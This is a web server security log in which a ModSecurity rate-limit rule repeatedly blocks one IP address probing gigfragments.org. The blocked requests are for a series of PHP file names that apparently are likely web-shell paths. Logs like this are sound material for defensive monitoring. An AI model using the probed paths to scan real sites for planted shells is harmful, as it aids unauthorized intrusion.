[Sun Jan 04 22:12:11.586205 2026] [:error] [pid 45949:tid 45965] [client 4.241.234.12:17499] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/21x.php"] [unique_id "aVp1O6WUhIYCdxgkhpBPcAAAAgs"]
[Sun Jan 04 22:12:11.892611 2026] [:error] [pid 29351:tid 29394] [client 4.241.234.12:17473] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/21x.php"] [unique_id "aVp1O5tGiMsRmNcKXvpG2wAAAso"]
[Sun Jan 04 22:12:12.293219 2026] [:error] [pid 42666:tid 42707] [client 4.241.234.12:15585] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/21x.php"] [unique_id "aVp1PPc221c7vwWrOjcUiwAAAwo"]
[Sun Jan 04 22:12:12.807741 2026] [:error] [pid 30985:tid 31027] [client 4.241.234.12:17481] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/21x.php"] [unique_id "aVp1PEisiM0XfzVcTWCz7wAAAc0"]
[Sun Jan 04 22:12:13.374073 2026] [:error] [pid 45949:tid 45976] [client 4.241.234.12:15591] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVp1PaWUhIYCdxgkhpBPcgAAAhY"]
[Sun Jan 04 22:12:13.817805 2026] [:error] [pid 42665:tid 42692] [client 4.241.234.12:17453] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVp1PRRwYwWkN__L8BWU3wAAApc"]
[Sun Jan 04 22:12:14.171499 2026] [:error] [pid 42666:tid 42715] [client 4.241.234.12:15500] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVp1Pvc221c7vwWrOjcUjgAAAxI"]
[Sun Jan 04 22:12:14.448072 2026] [:error] [pid 45950:tid 45997] [client 4.241.234.12:15580] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/out.php"] [unique_id "aVp1Plx-3HUGZIlAI-5RUAAAA48"]
[Sun Jan 04 22:12:14.925742 2026] [:error] [pid 42666:tid 42703] [client 4.241.234.12:17430] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aVp1Pvc221c7vwWrOjcUjwAAAwY"]
[Sun Jan 04 22:12:15.288771 2026] [:error] [pid 45949:tid 45954] [client 4.241.234.12:15581] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aVp1P6WUhIYCdxgkhpBPdAAAAgA"]
[Sun Jan 04 22:12:15.605510 2026] [:error] [pid 42665:tid 42673] [client 4.241.234.12:17505] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aVp1PxRwYwWkN__L8BWU4wAAAoQ"]
[Sun Jan 04 22:12:15.855129 2026] [:error] [pid 45863:tid 45887] [client 4.241.234.12:17491] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aVp1P1Gr1mgeue1bWvTXtQAAABY"]
[Sun Jan 04 22:12:16.375230 2026] [:error] [pid 45863:tid 45871] [client 4.241.234.12:17435] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/family.php"] [unique_id "aVp1QFGr1mgeue1bWvTXtgAAAAY"]
[Sun Jan 04 22:12:17.015513 2026] [:error] [pid 43583:tid 43600] [client 4.241.234.12:15504] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/family.php"] [unique_id "aVp1QeZbrSRUiJ-RX9ZBaAAAAUs"]
[Sun Jan 04 22:12:17.285214 2026] [:error] [pid 42665:tid 42679] [client 4.241.234.12:17512] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/family.php"] [unique_id "aVp1QRRwYwWkN__L8BWU5wAAAoo"]
[Sun Jan 04 22:12:17.668020 2026] [:error] [pid 43583:tid 43606] [client 4.241.234.12:17494] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/family.php"] [unique_id "aVp1QeZbrSRUiJ-RX9ZBagAAAVE"]
[Sun Jan 04 22:12:17.986829 2026] [:error] [pid 45950:tid 46003] [client 4.241.234.12:17432] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aVp1QVx-3HUGZIlAI-5RWAAAA5U"]
[Sun Jan 04 22:12:18.285330 2026] [:error] [pid 42666:tid 42704] [client 4.241.234.12:17516] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aVp1Qvc221c7vwWrOjcUlQAAAwc"]
[Sun Jan 04 22:12:18.687702 2026] [:error] [pid 42666:tid 42698] [client 4.241.234.12:17482] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aVp1Qvc221c7vwWrOjcUlgAAAwE"]
[Sun Jan 04 22:12:19.211240 2026] [:error] [pid 45863:tid 45869] [client 4.241.234.12:17431] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asf.php"] [unique_id "aVp1Q1Gr1mgeue1bWvTXuAAAAAQ"]
[Sun Jan 04 22:12:19.547901 2026] [:error] [pid 45863:tid 45866] [client 4.241.234.12:17455] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aVp1Q1Gr1mgeue1bWvTXuQAAAAE"]
[Sun Jan 04 22:12:19.857443 2026] [:error] [pid 45949:tid 45961] [client 4.241.234.12:15573] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aVp1Q6WUhIYCdxgkhpBPeAAAAgc"]
[Sun Jan 04 22:12:20.214135 2026] [:error] [pid 42666:tid 42712] [client 4.241.234.12:17451] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aVp1RPc221c7vwWrOjcUmAAAAw8"]
[Sun Jan 04 22:12:20.581444 2026] [:error] [pid 43467:tid 43489] [client 4.241.234.12:15597] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanz.php"] [unique_id "aVp1RCnfieJppNajUV1SggAAAJQ"]
[Sun Jan 04 22:12:20.893105 2026] [:error] [pid 45950:tid 45984] [client 4.241.234.12:17466] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xeeex.php"] [unique_id "aVp1RFx-3HUGZIlAI-5RXAAAA4I"]
[Sun Jan 04 22:12:21.174780 2026] [:error] [pid 43583:tid 43597] [client 4.241.234.12:17460] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xeeex.php"] [unique_id "aVp1ReZbrSRUiJ-RX9ZBbgAAAUg"]
[Sun Jan 04 22:12:21.474831 2026] [:error] [pid 42666:tid 42710] [client 4.241.234.12:17450] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xeeex.php"] [unique_id "aVp1Rfc221c7vwWrOjcUnAAAAw0"]
[Sun Jan 04 22:12:21.806335 2026] [:error] [pid 37165:tid 37209] [client 4.241.234.12:15563] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xeeex.php"] [unique_id "aVp1RVwRLzfe8wOrQpRjIwAAAko"]
[Sun Jan 04 22:12:22.126212 2026] [:error] [pid 45950:tid 45994] [client 4.241.234.12:17442] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tons.php"] [unique_id "aVp1Rlx-3HUGZIlAI-5RXwAAA4w"]
[Sun Jan 04 22:12:22.423964 2026] [:error] [pid 43467:tid 43486] [client 4.241.234.12:17492] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tons.php"] [unique_id "aVp1RinfieJppNajUV1ShAAAAJE"]
[Sun Jan 04 22:12:22.778485 2026] [:error] [pid 37165:tid 37213] [client 4.241.234.12:15554] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tons.php"] [unique_id "aVp1RlwRLzfe8wOrQpRjJgAAAk4"]
[Sun Jan 04 22:12:23.108722 2026] [:error] [pid 45863:tid 45874] [client 4.241.234.12:15601] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tons.php"] [unique_id "aVp1R1Gr1mgeue1bWvTXuwAAAAk"]
[Sun Jan 04 22:12:23.451601 2026] [:error] [pid 42666:tid 42709] [client 4.241.234.12:15502] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpup.php"] [unique_id "aVp1R_c221c7vwWrOjcUngAAAww"]
[Sun Jan 04 22:12:23.794733 2026] [:error] [pid 45950:tid 46004] [client 4.241.234.12:17436] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpup.php"] [unique_id "aVp1R1x-3HUGZIlAI-5RYwAAA5Y"]
[Sun Jan 04 22:12:24.295921 2026] [:error] [pid 30985:tid 31038] [client 4.241.234.12:17423] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpup.php"] [unique_id "aVp1SEisiM0XfzVcTWCz8wAAAdg"]
[Sun Jan 04 22:12:24.771206 2026] [:error] [pid 45950:tid 45995] [client 4.241.234.12:17503] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpup.php"] [unique_id "aVp1SFx-3HUGZIlAI-5RZAAAA40"]
[Sun Jan 04 22:12:25.110578 2026] [:error] [pid 43467:tid 43481] [client 4.241.234.12:17529] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2f.php"] [unique_id "aVp1SSnfieJppNajUV1ShQAAAIw"]
[Sun Jan 04 22:12:25.475076 2026] [:error] [pid 45949:tid 45978] [client 4.241.234.12:17465] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2f.php"] [unique_id "aVp1SaWUhIYCdxgkhpBPfAAAAhg"]
[Sun Jan 04 22:12:25.855286 2026] [:error] [pid 29351:tid 29408] [client 4.241.234.12:17501] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2f.php"] [unique_id "aVp1SZtGiMsRmNcKXvpG6QAAAtg"]
[Sun Jan 04 22:12:26.224481 2026] [:error] [pid 45949:tid 45957] [client 4.241.234.12:17471] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f2f.php"] [unique_id "aVp1SqWUhIYCdxgkhpBPfgAAAgM"]
[Sun Jan 04 22:12:26.616766 2026] [:error] [pid 30985:tid 31015] [client 4.241.234.12:17452] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ths.php"] [unique_id "aVp1SkisiM0XfzVcTWCz9AAAAcE"]
[Sun Jan 04 22:12:27.036903 2026] [:error] [pid 42665:tid 42671] [client 4.241.234.12:15579] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ths.php"] [unique_id "aVp1SxRwYwWkN__L8BWVAgAAAoI"]
[Sun Jan 04 22:12:27.400216 2026] [:error] [pid 43583:tid 43595] [client 4.241.234.12:15571] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ths.php"] [unique_id "aVp1S-ZbrSRUiJ-RX9ZBcgAAAUY"]
[Sun Jan 04 22:12:27.816193 2026] [:error] [pid 29351:tid 29389] [client 4.241.234.12:17448] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ths.php"] [unique_id "aVp1S5tGiMsRmNcKXvpG7wAAAsU"]
[Sun Jan 04 22:12:28.349587 2026] [:error] [pid 45863:tid 45868] [client 4.241.234.12:17420] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aVp1TFGr1mgeue1bWvTXwAAAAAM"]
[Sun Jan 04 22:12:29.185677 2026] [:error] [pid 43583:tid 43603] [client 4.241.234.12:17440] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aVp1TeZbrSRUiJ-RX9ZBdAAAAU4"]
[Sun Jan 04 22:12:30.278465 2026] [:error] [pid 29351:tid 29391] [client 4.241.234.12:17434] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aVp1TptGiMsRmNcKXvpG8AAAAsc"]
[Sun Jan 04 22:12:30.625314 2026] [:error] [pid 42666:tid 42715] [client 4.241.234.12:17533] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aVp1Tvc221c7vwWrOjcUowAAAxI"]
[Sun Jan 04 22:12:30.951653 2026] [:error] [pid 42666:tid 42701] [client 4.241.234.12:17513] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aVp1Tvc221c7vwWrOjcUpAAAAwQ"]
[Sun Jan 04 22:12:31.517200 2026] [:error] [pid 29351:tid 29385] [client 4.241.234.12:15566] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aVp1T5tGiMsRmNcKXvpG8gAAAsE"]
[Sun Jan 04 22:12:31.775207 2026] [:error] [pid 29351:tid 29406] [client 4.241.234.12:17411] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aVp1T5tGiMsRmNcKXvpG8wAAAtY"]
[Sun Jan 04 22:12:32.102593 2026] [:error] [pid 43467:tid 43469] [client 4.241.234.12:17441] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aVp1UCnfieJppNajUV1SiwAAAIA"]
[Sun Jan 04 22:12:32.377591 2026] [:error] [pid 45949:tid 45965] [client 4.241.234.12:17429] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z57.php"] [unique_id "aVp1UKWUhIYCdxgkhpBPgwAAAgs"]
[Sun Jan 04 22:12:32.651426 2026] [:error] [pid 43583:tid 43607] [client 4.241.234.12:15431] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z57.php"] [unique_id "aVp1UOZbrSRUiJ-RX9ZBeAAAAVI"]
[Sun Jan 04 22:12:33.059077 2026] [:error] [pid 37165:tid 37204] [client 4.241.234.12:15612] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z57.php"] [unique_id "aVp1UVwRLzfe8wOrQpRjKwAAAkU"]
[Sun Jan 04 22:12:33.392889 2026] [:error] [pid 43467:tid 43490] [client 4.241.234.12:15555] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z57.php"] [unique_id "aVp1USnfieJppNajUV1SjAAAAJU"]
[Sun Jan 04 22:12:33.737493 2026] [:error] [pid 42666:tid 42706] [client 4.241.234.12:17463] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o2.php"] [unique_id "aVp1Ufc221c7vwWrOjcUpwAAAwk"]
